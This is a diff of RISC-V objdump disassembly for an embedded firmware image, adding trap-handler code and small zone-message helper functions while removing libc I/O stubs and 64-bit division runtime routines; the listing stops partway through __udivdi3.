+20401ba0:	00044783          	lbu	a5,0(s0)
+20401ba4:	4511                	li	a0,4
+20401ba6:	8b85                	andi	a5,a5,1
+20401ba8:	e391                	bnez	a5,20401bac <trap_handler+0x166>
+20401baa:	4509                	li	a0,2
+20401bac:	9522                	add	a0,a0,s0
+20401bae:	34151073          	csrw	mepc,a0
+20401bb2:	bf79                	j	20401b50 <trap_handler+0x10a>
+20401bb4:	8622                	mv	a2,s0
+20401bb6:	459d                	li	a1,7
+20401bb8:	00002517          	auipc	a0,0x2
+20401bbc:	19c50513          	addi	a0,a0,412 # 20403d54 <_exit+0x162>
+20401bc0:	bff1                	j	20401b9c <trap_handler+0x156>
+20401bc2:	8622                	mv	a2,s0
+20401bc4:	45a1                	li	a1,8
+20401bc6:	00002517          	auipc	a0,0x2
+20401bca:	1ba50513          	addi	a0,a0,442 # 20403d80 <_exit+0x18e>
+20401bce:	bf09                	j	20401ae0 <trap_handler+0x9a>
+20401bd0:	8622                	mv	a2,s0
+20401bd2:	45a5                	li	a1,9
+20401bd4:	00002517          	auipc	a0,0x2
+20401bd8:	1e450513          	addi	a0,a0,484 # 20403db8 <_exit+0x1c6>
+20401bdc:	b711                	j	20401ae0 <trap_handler+0x9a>
+20401bde:	8622                	mv	a2,s0
+20401be0:	45ad                	li	a1,11
+20401be2:	00002517          	auipc	a0,0x2
+20401be6:	20e50513          	addi	a0,a0,526 # 20403df0 <_exit+0x1fe>
+20401bea:	bddd                	j	20401ae0 <trap_handler+0x9a>
+20401bec:	c62a                	sw	a0,12(sp)
+20401bee:	4619                	li	a2,6
+20401bf0:	00002597          	auipc	a1,0x2
+20401bf4:	23858593          	addi	a1,a1,568 # 20403e28 <_exit+0x236>
+20401bf8:	4505                	li	a0,1
+20401bfa:	3a1000ef          	jal	ra,2040279a <write>
+20401bfe:	46b2                	lw	a3,12(sp)
+20401c00:	8622                	mv	a2,s0
+20401c02:	85a6                	mv	a1,s1
+20401c04:	00002517          	auipc	a0,0x2
+20401c08:	22c50513          	addi	a0,a0,556 # 20403e30 <_exit+0x23e>
+20401c0c:	1e7000ef          	jal	ra,204025f2 <iprintf>
+20401c10:	10040437          	lui	s0,0x10040
+20401c14:	442c                	lw	a1,72(s0)
+20401c16:	00002517          	auipc	a0,0x2
+20401c1a:	23650513          	addi	a0,a0,566 # 20403e4c <_exit+0x25a>
+20401c1e:	1d5000ef          	jal	ra,204025f2 <iprintf>
+20401c22:	446c                	lw	a1,76(s0)
+20401c24:	00002517          	auipc	a0,0x2
+20401c28:	23c50513          	addi	a0,a0,572 # 20403e60 <_exit+0x26e>
+20401c2c:	1c7000ef          	jal	ra,204025f2 <iprintf>
+20401c30:	482c                	lw	a1,80(s0)
+20401c32:	00002517          	auipc	a0,0x2
+20401c36:	24250513          	addi	a0,a0,578 # 20403e74 <_exit+0x282>
+20401c3a:	1b9000ef          	jal	ra,204025f2 <iprintf>
+20401c3e:	4619                	li	a2,6
+20401c40:	00002597          	auipc	a1,0x2
+20401c44:	24858593          	addi	a1,a1,584 # 20403e88 <_exit+0x296>
+20401c48:	4505                	li	a0,1
+20401c4a:	351000ef          	jal	ra,2040279a <write>
+20401c4e:	67c1                	lui	a5,0x10
+20401c50:	10178793          	addi	a5,a5,257 # 10101 <__stack_size+0xf901>
+20401c54:	d81c                	sw	a5,48(s0)
+20401c56:	bded                	j	20401b50 <trap_handler+0x10a>
+20401c58:	c62a                	sw	a0,12(sp)
+20401c5a:	4619                	li	a2,6
+20401c5c:	00002597          	auipc	a1,0x2
+20401c60:	1cc58593          	addi	a1,a1,460 # 20403e28 <_exit+0x236>
+20401c64:	4505                	li	a0,1
+20401c66:	335000ef          	jal	ra,2040279a <write>
+20401c6a:	46b2                	lw	a3,12(sp)
+20401c6c:	8622                	mv	a2,s0
+20401c6e:	85a6                	mv	a1,s1
+20401c70:	00002517          	auipc	a0,0x2
+20401c74:	22050513          	addi	a0,a0,544 # 20403e90 <_exit+0x29e>
+20401c78:	17b000ef          	jal	ra,204025f2 <iprintf>
+20401c7c:	4619                	li	a2,6
+20401c7e:	00002597          	auipc	a1,0x2
+20401c82:	24658593          	addi	a1,a1,582 # 20403ec4 <_exit+0x2d2>
+20401c86:	4505                	li	a0,1
+20401c88:	313000ef          	jal	ra,2040279a <write>
+20401c8c:	85018513          	addi	a0,gp,-1968 # 8000d8b0 <inputline>
+20401c90:	249000ef          	jal	ra,204026d8 <strlen>
+20401c94:	862a                	mv	a2,a0
+20401c96:	85018593          	addi	a1,gp,-1968 # 8000d8b0 <inputline>
+20401c9a:	4505                	li	a0,1
+20401c9c:	2ff000ef          	jal	ra,2040279a <write>
+20401ca0:	4619                	li	a2,6
+20401ca2:	00002597          	auipc	a1,0x2
+20401ca6:	22e58593          	addi	a1,a1,558 # 20403ed0 <_exit+0x2de>
+20401caa:	4505                	li	a0,1
+20401cac:	2ef000ef          	jal	ra,2040279a <write>
+20401cb0:	57fd                	li	a5,-1
+20401cb2:	85be                	mv	a1,a5
+20401cb4:	863e                	mv	a2,a5
+20401cb6:	4519                	li	a0,6
+20401cb8:	00300073          	0x300073
+20401cbc:	08000793          	li	a5,128
+20401cc0:	3047b7f3          	csrrc	a5,mie,a5
+20401cc4:	b571                	j	20401b50 <trap_handler+0x10a>
+20401cc6:	0c2007b7          	lui	a5,0xc200
+20401cca:	4621                	li	a2,8
+20401ccc:	082c                	addi	a1,sp,24
+20401cce:	4501                	li	a0,0
+20401cd0:	0047a903          	lw	s2,4(a5) # c200004 <__stack_size+0xc1ff804>
+20401cd4:	2b9000ef          	jal	ra,2040278c <read>
+20401cd8:	842a                	mv	s0,a0
+20401cda:	02a05763          	blez	a0,20401d08 <trap_handler+0x2c2>
+20401cde:	82818493          	addi	s1,gp,-2008 # 8000d888 <buffer>
+20401ce2:	50dc                	lw	a5,36(s1)
+20401ce4:	02000713          	li	a4,32
+20401ce8:	40f707b3          	sub	a5,a4,a5
+20401cec:	00f54563          	blt	a0,a5,20401cf6 <trap_handler+0x2b0>
+20401cf0:	50c0                	lw	s0,36(s1)
+20401cf2:	40870433          	sub	s0,a4,s0
+20401cf6:	50c8                	lw	a0,36(s1)
+20401cf8:	8622                	mv	a2,s0
+20401cfa:	082c                	addi	a1,sp,24
+20401cfc:	9526                	add	a0,a0,s1
+20401cfe:	73a000ef          	jal	ra,20402438 <memcpy>
+20401d02:	50c8                	lw	a0,36(s1)
+20401d04:	9522                	add	a0,a0,s0
+20401d06:	d0c8                	sw	a0,36(s1)
+20401d08:	0c2007b7          	lui	a5,0xc200
+20401d0c:	0127a223          	sw	s2,4(a5) # c200004 <__stack_size+0xc1ff804>
+20401d10:	b581                	j	20401b50 <trap_handler+0x10a>
 
-20402b54 <_open>:
-20402b54:	1141                	addi	sp,sp,-16
-20402b56:	00003597          	auipc	a1,0x3
-20402b5a:	efe58593          	addi	a1,a1,-258 # 20405a54 <_exit+0x83e>
-20402b5e:	c606                	sw	ra,12(sp)
-20402b60:	0ef000ef          	jal	ra,2040344e <strcmp>
-20402b64:	ed11                	bnez	a0,20402b80 <_open+0x2c>
-20402b66:	100137b7          	lui	a5,0x10013
-20402b6a:	23300713          	li	a4,563
-20402b6e:	cf98                	sw	a4,24(a5)
-20402b70:	4705                	li	a4,1
-20402b72:	c798                	sw	a4,8(a5)
-20402b74:	c7d8                	sw	a4,12(a5)
-20402b76:	4709                	li	a4,2
-20402b78:	cb98                	sw	a4,16(a5)
-20402b7a:	40b2                	lw	ra,12(sp)
-20402b7c:	0141                	addi	sp,sp,16
-20402b7e:	8082                	ret
-20402b80:	557d                	li	a0,-1
-20402b82:	bfe5                	j	20402b7a <_open+0x26>
+20401d12 <initZoneMessage>:
+20401d12:	1141                	addi	sp,sp,-16
+20401d14:	4521                	li	a0,8
+20401d16:	c606                	sw	ra,12(sp)
+20401d18:	710000ef          	jal	ra,20402428 <malloc>
+20401d1c:	40b2                	lw	ra,12(sp)
+20401d1e:	00051023          	sh	zero,0(a0)
+20401d22:	00052223          	sw	zero,4(a0)
+20401d26:	0141                	addi	sp,sp,16
+20401d28:	8082                	ret
 
-20402b84 <_read>:
-20402b84:	1141                	addi	sp,sp,-16
-20402b86:	c422                	sw	s0,8(sp)
-20402b88:	c226                	sw	s1,4(sp)
-20402b8a:	c606                	sw	ra,12(sp)
-20402b8c:	842e                	mv	s0,a1
-20402b8e:	84b2                	mv	s1,a2
-20402b90:	509000ef          	jal	ra,20403898 <isatty>
-20402b94:	c505                	beqz	a0,20402bbc <_read+0x38>
-20402b96:	4501                	li	a0,0
-20402b98:	10013737          	lui	a4,0x10013
-20402b9c:	00950563          	beq	a0,s1,20402ba6 <_read+0x22>
-20402ba0:	435c                	lw	a5,4(a4)
-20402ba2:	00f04763          	bgtz	a5,20402bb0 <_read+0x2c>
-20402ba6:	40b2                	lw	ra,12(sp)
-20402ba8:	4422                	lw	s0,8(sp)
-20402baa:	4492                	lw	s1,4(sp)
-20402bac:	0141                	addi	sp,sp,16
-20402bae:	8082                	ret
-20402bb0:	00a406b3          	add	a3,s0,a0
-20402bb4:	00f68023          	sb	a5,0(a3)
-20402bb8:	0505                	addi	a0,a0,1
-20402bba:	b7cd                	j	20402b9c <_read+0x18>
-20402bbc:	557d                	li	a0,-1
-20402bbe:	b7e5                	j	20402ba6 <_read+0x22>
+20401d2a <freeZoneMessage>:
+20401d2a:	1141                	addi	sp,sp,-16
+20401d2c:	c422                	sw	s0,8(sp)
+20401d2e:	842a                	mv	s0,a0
+20401d30:	4148                	lw	a0,4(a0)
+20401d32:	c606                	sw	ra,12(sp)
+20401d34:	6fc000ef          	jal	ra,20402430 <free>
+20401d38:	8522                	mv	a0,s0
+20401d3a:	4422                	lw	s0,8(sp)
+20401d3c:	40b2                	lw	ra,12(sp)
+20401d3e:	0141                	addi	sp,sp,16
+20401d40:	6f00006f          	j	20402430 <free>
 
-20402bc0 <_write>:
-20402bc0:	1141                	addi	sp,sp,-16
-20402bc2:	c422                	sw	s0,8(sp)
-20402bc4:	c226                	sw	s1,4(sp)
-20402bc6:	c606                	sw	ra,12(sp)
-20402bc8:	842e                	mv	s0,a1
-20402bca:	84b2                	mv	s1,a2
-20402bcc:	4cd000ef          	jal	ra,20403898 <isatty>
-20402bd0:	c121                	beqz	a0,20402c10 <_write+0x50>
-20402bd2:	85a2                	mv	a1,s0
-20402bd4:	00940733          	add	a4,s0,s1
-20402bd8:	100137b7          	lui	a5,0x10013
-20402bdc:	46a9                	li	a3,10
-20402bde:	4635                	li	a2,13
-20402be0:	00e59863          	bne	a1,a4,20402bf0 <_write+0x30>
-20402be4:	40b2                	lw	ra,12(sp)
-20402be6:	4422                	lw	s0,8(sp)
-20402be8:	8526                	mv	a0,s1
-20402bea:	4492                	lw	s1,4(sp)
-20402bec:	0141                	addi	sp,sp,16
-20402bee:	8082                	ret
-20402bf0:	4388                	lw	a0,0(a5)
-20402bf2:	fe054fe3          	bltz	a0,20402bf0 <_write+0x30>
-20402bf6:	0005c503          	lbu	a0,0(a1)
-20402bfa:	c388                	sw	a0,0(a5)
-20402bfc:	0005c503          	lbu	a0,0(a1)
-20402c00:	00d51663          	bne	a0,a3,20402c0c <_write+0x4c>
-20402c04:	4388                	lw	a0,0(a5)
-20402c06:	fe054fe3          	bltz	a0,20402c04 <_write+0x44>
-20402c0a:	c390                	sw	a2,0(a5)
-20402c0c:	0585                	addi	a1,a1,1
-20402c0e:	bfc9                	j	20402be0 <_write+0x20>
-20402c10:	54fd                	li	s1,-1
-20402c12:	bfc9                	j	20402be4 <_write+0x24>
+20401d44 <setZoneMessage>:
+20401d44:	1141                	addi	sp,sp,-16
+20401d46:	c226                	sw	s1,4(sp)
+20401d48:	c04a                	sw	s2,0(sp)
+20401d4a:	c606                	sw	ra,12(sp)
+20401d4c:	c422                	sw	s0,8(sp)
+20401d4e:	892e                	mv	s2,a1
+20401d50:	84b2                	mv	s1,a2
+20401d52:	e291                	bnez	a3,20401d56 <setZoneMessage+0x12>
+20401d54:	3f7d                	jal	20401d12 <initZoneMessage>
+20401d56:	842a                	mv	s0,a0
+20401d58:	8526                	mv	a0,s1
+20401d5a:	6ce000ef          	jal	ra,20402428 <malloc>
+20401d5e:	8626                	mv	a2,s1
+20401d60:	c048                	sw	a0,4(s0)
+20401d62:	4581                	li	a1,0
+20401d64:	710000ef          	jal	ra,20402474 <memset>
+20401d68:	4048                	lw	a0,4(s0)
+20401d6a:	00941023          	sh	s1,0(s0) # 10040000 <__stack_size+0x1003f800>
+20401d6e:	8626                	mv	a2,s1
+20401d70:	85ca                	mv	a1,s2
+20401d72:	6c6000ef          	jal	ra,20402438 <memcpy>
+20401d76:	40b2                	lw	ra,12(sp)
+20401d78:	8522                	mv	a0,s0
+20401d7a:	4422                	lw	s0,8(sp)
+20401d7c:	4492                	lw	s1,4(sp)
+20401d7e:	4902                	lw	s2,0(sp)
+20401d80:	0141                	addi	sp,sp,16
+20401d82:	8082                	ret
 
-20402c14 <__lshrdi3>:
-20402c14:	ce01                	beqz	a2,20402c2c <__lshrdi3+0x18>
-20402c16:	02000793          	li	a5,32
-20402c1a:	8f91                	sub	a5,a5,a2
-20402c1c:	00f04963          	bgtz	a5,20402c2e <__lshrdi3+0x1a>
-20402c20:	fe060513          	addi	a0,a2,-32
-20402c24:	4701                	li	a4,0
-20402c26:	00a5d533          	srl	a0,a1,a0
-20402c2a:	85ba                	mv	a1,a4
-20402c2c:	8082                	ret
-20402c2e:	00c5d733          	srl	a4,a1,a2
-20402c32:	00c55533          	srl	a0,a0,a2
-20402c36:	00f595b3          	sll	a1,a1,a5
-20402c3a:	8d4d                	or	a0,a0,a1
-20402c3c:	b7fd                	j	20402c2a <__lshrdi3+0x16>
+20401d84 <serializeZoneMessage>:
+20401d84:	1141                	addi	sp,sp,-16
+20401d86:	c226                	sw	s1,4(sp)
+20401d88:	84aa                	mv	s1,a0
+20401d8a:	00002517          	auipc	a0,0x2
+20401d8e:	4da50513          	addi	a0,a0,1242 # 20404264 <_exit+0x672>
+20401d92:	c606                	sw	ra,12(sp)
+20401d94:	c422                	sw	s0,8(sp)
+20401d96:	c04a                	sw	s2,0(sp)
+20401d98:	892e                	mv	s2,a1
+20401d9a:	13f000ef          	jal	ra,204026d8 <strlen>
+20401d9e:	0004d783          	lhu	a5,0(s1)
+20401da2:	078d                	addi	a5,a5,3
+20401da4:	953e                	add	a0,a0,a5
+20401da6:	682000ef          	jal	ra,20402428 <malloc>
+20401daa:	842a                	mv	s0,a0
+20401dac:	00002517          	auipc	a0,0x2
+20401db0:	4b850513          	addi	a0,a0,1208 # 20404264 <_exit+0x672>
+20401db4:	125000ef          	jal	ra,204026d8 <strlen>
+20401db8:	00150613          	addi	a2,a0,1
+20401dbc:	00002597          	auipc	a1,0x2
+20401dc0:	4a858593          	addi	a1,a1,1192 # 20404264 <_exit+0x672>
+20401dc4:	8522                	mv	a0,s0
+20401dc6:	672000ef          	jal	ra,20402438 <memcpy>
+20401dca:	00002517          	auipc	a0,0x2
+20401dce:	49a50513          	addi	a0,a0,1178 # 20404264 <_exit+0x672>
+20401dd2:	107000ef          	jal	ra,204026d8 <strlen>
+20401dd6:	00150713          	addi	a4,a0,1
+20401dda:	0004d603          	lhu	a2,0(s1)
+20401dde:	00350793          	addi	a5,a0,3
+20401de2:	0742                	slli	a4,a4,0x10
+20401de4:	40cc                	lw	a1,4(s1)
+20401de6:	8341                	srli	a4,a4,0x10
+20401de8:	07c2                	slli	a5,a5,0x10
+20401dea:	83c1                	srli	a5,a5,0x10
+20401dec:	9722                	add	a4,a4,s0
+20401dee:	00f40533          	add	a0,s0,a5
+20401df2:	00c71023          	sh	a2,0(a4) # c002000 <__stack_size+0xc001800>
+20401df6:	2589                	jal	20402438 <memcpy>
+20401df8:	4785                	li	a5,1
+20401dfa:	00f91463          	bne	s2,a5,20401e02 <serializeZoneMessage+0x7e>
+20401dfe:	8526                	mv	a0,s1
+20401e00:	372d                	jal	20401d2a <freeZoneMessage>
+20401e02:	40b2                	lw	ra,12(sp)
+20401e04:	8522                	mv	a0,s0
+20401e06:	4422                	lw	s0,8(sp)
+20401e08:	4492                	lw	s1,4(sp)
+20401e0a:	4902                	lw	s2,0(sp)
+20401e0c:	0141                	addi	sp,sp,16
+20401e0e:	8082                	ret
 
-20402c3e <__udivdi3>:
-20402c3e:	88aa                	mv	a7,a0
-20402c40:	87ae                	mv	a5,a1
-20402c42:	8832                	mv	a6,a2
-20402c44:	8536                	mv	a0,a3
-20402c46:	8346                	mv	t1,a7
-20402c48:	20069663          	bnez	a3,20402e54 <__udivdi3+0x216>
-20402c4c:	00003697          	auipc	a3,0x3
-20402c50:	09c68693          	addi	a3,a3,156 # 20405ce8 <__clz_tab>
-20402c54:	0ac5ff63          	bgeu	a1,a2,20402d12 <__udivdi3+0xd4>
-20402c58:	6741                	lui	a4,0x10
-20402c5a:	0ae67563          	bgeu	a2,a4,20402d04 <__udivdi3+0xc6>
-20402c5e:	0ff00713          	li	a4,255
-20402c62:	00c73733          	sltu	a4,a4,a2
-20402c66:	070e                	slli	a4,a4,0x3
-20402c68:	00e65533          	srl	a0,a2,a4
-20402c6c:	96aa                	add	a3,a3,a0
-20402c6e:	0006c683          	lbu	a3,0(a3)
-20402c72:	02000513          	li	a0,32
-20402c76:	9736                	add	a4,a4,a3
-20402c78:	40e506b3          	sub	a3,a0,a4
-20402c7c:	00e50b63          	beq	a0,a4,20402c92 <__udivdi3+0x54>
-20402c80:	00d795b3          	sll	a1,a5,a3
-20402c84:	00e8d733          	srl	a4,a7,a4
-20402c88:	00d61833          	sll	a6,a2,a3
-20402c8c:	8dd9                	or	a1,a1,a4
-20402c8e:	00d89333          	sll	t1,a7,a3
-20402c92:	01085893          	srli	a7,a6,0x10
-20402c96:	0315d6b3          	divu	a3,a1,a7
-20402c9a:	01081613          	slli	a2,a6,0x10
-20402c9e:	8241                	srli	a2,a2,0x10
-20402ca0:	01035793          	srli	a5,t1,0x10
-20402ca4:	0315f733          	remu	a4,a1,a7
-20402ca8:	8536                	mv	a0,a3
-20402caa:	02d605b3          	mul	a1,a2,a3
-20402cae:	0742                	slli	a4,a4,0x10
-20402cb0:	8fd9                	or	a5,a5,a4
-20402cb2:	00b7fc63          	bgeu	a5,a1,20402cca <__udivdi3+0x8c>
-20402cb6:	97c2                	add	a5,a5,a6
-20402cb8:	fff68513          	addi	a0,a3,-1
-20402cbc:	0107e763          	bltu	a5,a6,20402cca <__udivdi3+0x8c>
-20402cc0:	00b7f563          	bgeu	a5,a1,20402cca <__udivdi3+0x8c>
-20402cc4:	ffe68513          	addi	a0,a3,-2
-20402cc8:	97c2                	add	a5,a5,a6
-20402cca:	8f8d                	sub	a5,a5,a1
-20402ccc:	0317f733          	remu	a4,a5,a7
-20402cd0:	0342                	slli	t1,t1,0x10
-20402cd2:	01035313          	srli	t1,t1,0x10
-20402cd6:	0317d7b3          	divu	a5,a5,a7
-20402cda:	0742                	slli	a4,a4,0x10
-20402cdc:	00676333          	or	t1,a4,t1
-20402ce0:	02f606b3          	mul	a3,a2,a5
-20402ce4:	863e                	mv	a2,a5
-20402ce6:	00d37b63          	bgeu	t1,a3,20402cfc <__udivdi3+0xbe>
-20402cea:	9342                	add	t1,t1,a6
-20402cec:	fff78613          	addi	a2,a5,-1 # 10012fff <__stack_size+0x100127ff>
-20402cf0:	01036663          	bltu	t1,a6,20402cfc <__udivdi3+0xbe>
-20402cf4:	00d37463          	bgeu	t1,a3,20402cfc <__udivdi3+0xbe>
-20402cf8:	ffe78613          	addi	a2,a5,-2
-20402cfc:	0542                	slli	a0,a0,0x10
-20402cfe:	8d51                	or	a0,a0,a2
-20402d00:	4581                	li	a1,0
-20402d02:	a85d                	j	20402db8 <__udivdi3+0x17a>
-20402d04:	01000537          	lui	a0,0x1000
-20402d08:	4741                	li	a4,16
-20402d0a:	f4a66fe3          	bltu	a2,a0,20402c68 <__udivdi3+0x2a>
-20402d0e:	4761                	li	a4,24
-20402d10:	bfa1                	j	20402c68 <__udivdi3+0x2a>
-20402d12:	e601                	bnez	a2,20402d1a <__udivdi3+0xdc>
-20402d14:	4705                	li	a4,1
-20402d16:	02c75833          	divu	a6,a4,a2
-20402d1a:	6741                	lui	a4,0x10
-20402d1c:	08e87f63          	bgeu	a6,a4,20402dba <__udivdi3+0x17c>
-20402d20:	0ff00713          	li	a4,255
-20402d24:	01077363          	bgeu	a4,a6,20402d2a <__udivdi3+0xec>
-20402d28:	4521                	li	a0,8
-20402d2a:	00a85733          	srl	a4,a6,a0
-20402d2e:	96ba                	add	a3,a3,a4
-20402d30:	0006c703          	lbu	a4,0(a3)
-20402d34:	02000613          	li	a2,32
-20402d38:	972a                	add	a4,a4,a0
-20402d3a:	40e606b3          	sub	a3,a2,a4
-20402d3e:	08e61563          	bne	a2,a4,20402dc8 <__udivdi3+0x18a>
-20402d42:	410787b3          	sub	a5,a5,a6
-20402d46:	4585                	li	a1,1
-20402d48:	01085893          	srli	a7,a6,0x10
-20402d4c:	01081613          	slli	a2,a6,0x10
-20402d50:	8241                	srli	a2,a2,0x10
-20402d52:	01035713          	srli	a4,t1,0x10
-20402d56:	0317f6b3          	remu	a3,a5,a7
-20402d5a:	0317d7b3          	divu	a5,a5,a7
-20402d5e:	06c2                	slli	a3,a3,0x10
-20402d60:	8f55                	or	a4,a4,a3
-20402d62:	02f60e33          	mul	t3,a2,a5
-20402d66:	853e                	mv	a0,a5
-20402d68:	01c77c63          	bgeu	a4,t3,20402d80 <__udivdi3+0x142>
-20402d6c:	9742                	add	a4,a4,a6
-20402d6e:	fff78513          	addi	a0,a5,-1
-20402d72:	01076763          	bltu	a4,a6,20402d80 <__udivdi3+0x142>
-20402d76:	01c77563          	bgeu	a4,t3,20402d80 <__udivdi3+0x142>
-20402d7a:	ffe78513          	addi	a0,a5,-2
-20402d7e:	9742                	add	a4,a4,a6
-20402d80:	41c70733          	sub	a4,a4,t3
-20402d84:	031777b3          	remu	a5,a4,a7
-20402d88:	0342                	slli	t1,t1,0x10
-20402d8a:	01035313          	srli	t1,t1,0x10
-20402d8e:	03175733          	divu	a4,a4,a7
-20402d92:	07c2                	slli	a5,a5,0x10
-20402d94:	0067e333          	or	t1,a5,t1
-20402d98:	02e606b3          	mul	a3,a2,a4
-20402d9c:	863a                	mv	a2,a4
-20402d9e:	00d37b63          	bgeu	t1,a3,20402db4 <__udivdi3+0x176>
-20402da2:	9342                	add	t1,t1,a6
-20402da4:	fff70613          	addi	a2,a4,-1 # ffff <__stack_size+0xf7ff>
-20402da8:	01036663          	bltu	t1,a6,20402db4 <__udivdi3+0x176>
-20402dac:	00d37463          	bgeu	t1,a3,20402db4 <__udivdi3+0x176>
-20402db0:	ffe70613          	addi	a2,a4,-2
-20402db4:	0542                	slli	a0,a0,0x10
-20402db6:	8d51                	or	a0,a0,a2
-20402db8:	8082                	ret
-20402dba:	01000737          	lui	a4,0x1000
-20402dbe:	4541                	li	a0,16
-20402dc0:	f6e865e3          	bltu	a6,a4,20402d2a <__udivdi3+0xec>
-20402dc4:	4561                	li	a0,24
-20402dc6:	b795                	j	20402d2a <__udivdi3+0xec>
-20402dc8:	00d81833          	sll	a6,a6,a3
-20402dcc:	00e7d533          	srl	a0,a5,a4
-20402dd0:	00d89333          	sll	t1,a7,a3
-20402dd4:	00d797b3          	sll	a5,a5,a3
-20402dd8:	00e8d733          	srl	a4,a7,a4
-20402ddc:	01085893          	srli	a7,a6,0x10
-20402de0:	00f76633          	or	a2,a4,a5
-20402de4:	03157733          	remu	a4,a0,a7
-20402de8:	01081793          	slli	a5,a6,0x10
-20402dec:	83c1                	srli	a5,a5,0x10
-20402dee:	01065593          	srli	a1,a2,0x10
-20402df2:	03155533          	divu	a0,a0,a7
-20402df6:	0742                	slli	a4,a4,0x10
-20402df8:	8f4d                	or	a4,a4,a1
-20402dfa:	02a786b3          	mul	a3,a5,a0
-20402dfe:	85aa                	mv	a1,a0
-20402e00:	00d77c63          	bgeu	a4,a3,20402e18 <__udivdi3+0x1da>
-20402e04:	9742                	add	a4,a4,a6
-20402e06:	fff50593          	addi	a1,a0,-1 # ffffff <__stack_size+0xfff7ff>
-20402e0a:	01076763          	bltu	a4,a6,20402e18 <__udivdi3+0x1da>
-20402e0e:	00d77563          	bgeu	a4,a3,20402e18 <__udivdi3+0x1da>
-20402e12:	ffe50593          	addi	a1,a0,-2
-20402e16:	9742                	add	a4,a4,a6
-20402e18:	40d706b3          	sub	a3,a4,a3
-20402e1c:	0316f733          	remu	a4,a3,a7
-20402e20:	0642                	slli	a2,a2,0x10
-20402e22:	8241                	srli	a2,a2,0x10
-20402e24:	0316d6b3          	divu	a3,a3,a7
-20402e28:	0742                	slli	a4,a4,0x10
-20402e2a:	02d78533          	mul	a0,a5,a3
-20402e2e:	00c767b3          	or	a5,a4,a2
-20402e32:	8736                	mv	a4,a3
-20402e34:	00a7fc63          	bgeu	a5,a0,20402e4c <__udivdi3+0x20e>
-20402e38:	97c2                	add	a5,a5,a6
-20402e3a:	fff68713          	addi	a4,a3,-1
-20402e3e:	0107e763          	bltu	a5,a6,20402e4c <__udivdi3+0x20e>
-20402e42:	00a7f563          	bgeu	a5,a0,20402e4c <__udivdi3+0x20e>
-20402e46:	ffe68713          	addi	a4,a3,-2
-20402e4a:	97c2                	add	a5,a5,a6
-20402e4c:	05c2                	slli	a1,a1,0x10
-20402e4e:	8f89                	sub	a5,a5,a0
-20402e50:	8dd9                	or	a1,a1,a4
-20402e52:	bddd                	j	20402d48 <__udivdi3+0x10a>
-20402e54:	14d5e263          	bltu	a1,a3,20402f98 <__udivdi3+0x35a>
-20402e58:	6741                	lui	a4,0x10
-20402e5a:	02e6ff63          	bgeu	a3,a4,20402e98 <__udivdi3+0x25a>
-20402e5e:	0ff00713          	li	a4,255
-20402e62:	00d735b3          	sltu	a1,a4,a3
-20402e66:	058e                	slli	a1,a1,0x3
-20402e68:	00b6d533          	srl	a0,a3,a1
-20402e6c:	00003717          	auipc	a4,0x3
-20402e70:	e7c70713          	addi	a4,a4,-388 # 20405ce8 <__clz_tab>
-20402e74:	972a                	add	a4,a4,a0
-20402e76:	00074703          	lbu	a4,0(a4)
-20402e7a:	02000513          	li	a0,32
-20402e7e:	972e                	add	a4,a4,a1
-20402e80:	40e505b3          	sub	a1,a0,a4
-20402e84:	02e51163          	bne	a0,a4,20402ea6 <__udivdi3+0x268>
-20402e88:	4505                	li	a0,1
-20402e8a:	f2f6e7e3          	bltu	a3,a5,20402db8 <__udivdi3+0x17a>
-20402e8e:	00c8b533          	sltu	a0,a7,a2
-20402e92:	00154513          	xori	a0,a0,1
-20402e96:	b70d                	j	20402db8 <__udivdi3+0x17a>
-20402e98:	01000737          	lui	a4,0x1000
-20402e9c:	45c1                	li	a1,16
-20402e9e:	fce6e5e3          	bltu	a3,a4,20402e68 <__udivdi3+0x22a>
-20402ea2:	45e1                	li	a1,24
-20402ea4:	b7d1                	j	20402e68 <__udivdi3+0x22a>
-20402ea6:	00e65833          	srl	a6,a2,a4
-20402eaa:	00b696b3          	sll	a3,a3,a1
-20402eae:	00d86833          	or	a6,a6,a3
-20402eb2:	00e7d333          	srl	t1,a5,a4
-20402eb6:	01085e93          	srli	t4,a6,0x10
-20402eba:	03d376b3          	remu	a3,t1,t4
-20402ebe:	00b797b3          	sll	a5,a5,a1
-20402ec2:	00e8d733          	srl	a4,a7,a4
-20402ec6:	00b61e33          	sll	t3,a2,a1
-20402eca:	00f76633          	or	a2,a4,a5
-20402ece:	01081793          	slli	a5,a6,0x10
-20402ed2:	83c1                	srli	a5,a5,0x10
-20402ed4:	01065713          	srli	a4,a2,0x10
-20402ed8:	03d35333          	divu	t1,t1,t4
-20402edc:	06c2                	slli	a3,a3,0x10
-20402ede:	8f55                	or	a4,a4,a3
-20402ee0:	02678f33          	mul	t5,a5,t1
-20402ee4:	851a                	mv	a0,t1
-20402ee6:	01e77c63          	bgeu	a4,t5,20402efe <__udivdi3+0x2c0>
-20402eea:	9742                	add	a4,a4,a6
-20402eec:	fff30513          	addi	a0,t1,-1
-20402ef0:	01076763          	bltu	a4,a6,20402efe <__udivdi3+0x2c0>
-20402ef4:	01e77563          	bgeu	a4,t5,20402efe <__udivdi3+0x2c0>
-20402ef8:	ffe30513          	addi	a0,t1,-2
-20402efc:	9742                	add	a4,a4,a6
-20402efe:	41e70733          	sub	a4,a4,t5
-20402f02:	03d776b3          	remu	a3,a4,t4
-20402f06:	03d75733          	divu	a4,a4,t4
-20402f0a:	06c2                	slli	a3,a3,0x10
-20402f0c:	02e78333          	mul	t1,a5,a4
-20402f10:	01061793          	slli	a5,a2,0x10
-20402f14:	83c1                	srli	a5,a5,0x10
-20402f16:	8fd5                	or	a5,a5,a3
-20402f18:	863a                	mv	a2,a4
-20402f1a:	0067fc63          	bgeu	a5,t1,20402f32 <__udivdi3+0x2f4>
-20402f1e:	97c2                	add	a5,a5,a6
-20402f20:	fff70613          	addi	a2,a4,-1 # ffffff <__stack_size+0xfff7ff>
-20402f24:	0107e763          	bltu	a5,a6,20402f32 <__udivdi3+0x2f4>
-20402f28:	0067f563          	bgeu	a5,t1,20402f32 <__udivdi3+0x2f4>
-20402f2c:	ffe70613          	addi	a2,a4,-2
-20402f30:	97c2                	add	a5,a5,a6
-20402f32:	0542                	slli	a0,a0,0x10
-20402f34:	6ec1                	lui	t4,0x10
-20402f36:	8d51                	or	a0,a0,a2
-20402f38:	fffe8693          	addi	a3,t4,-1 # ffff <__stack_size+0xf7ff>
-20402f3c:	010e5613          	srli	a2,t3,0x10
-20402f40:	01055813          	srli	a6,a0,0x10
-20402f44:	406787b3          	sub	a5,a5,t1
-20402f48:	00d57333          	and	t1,a0,a3
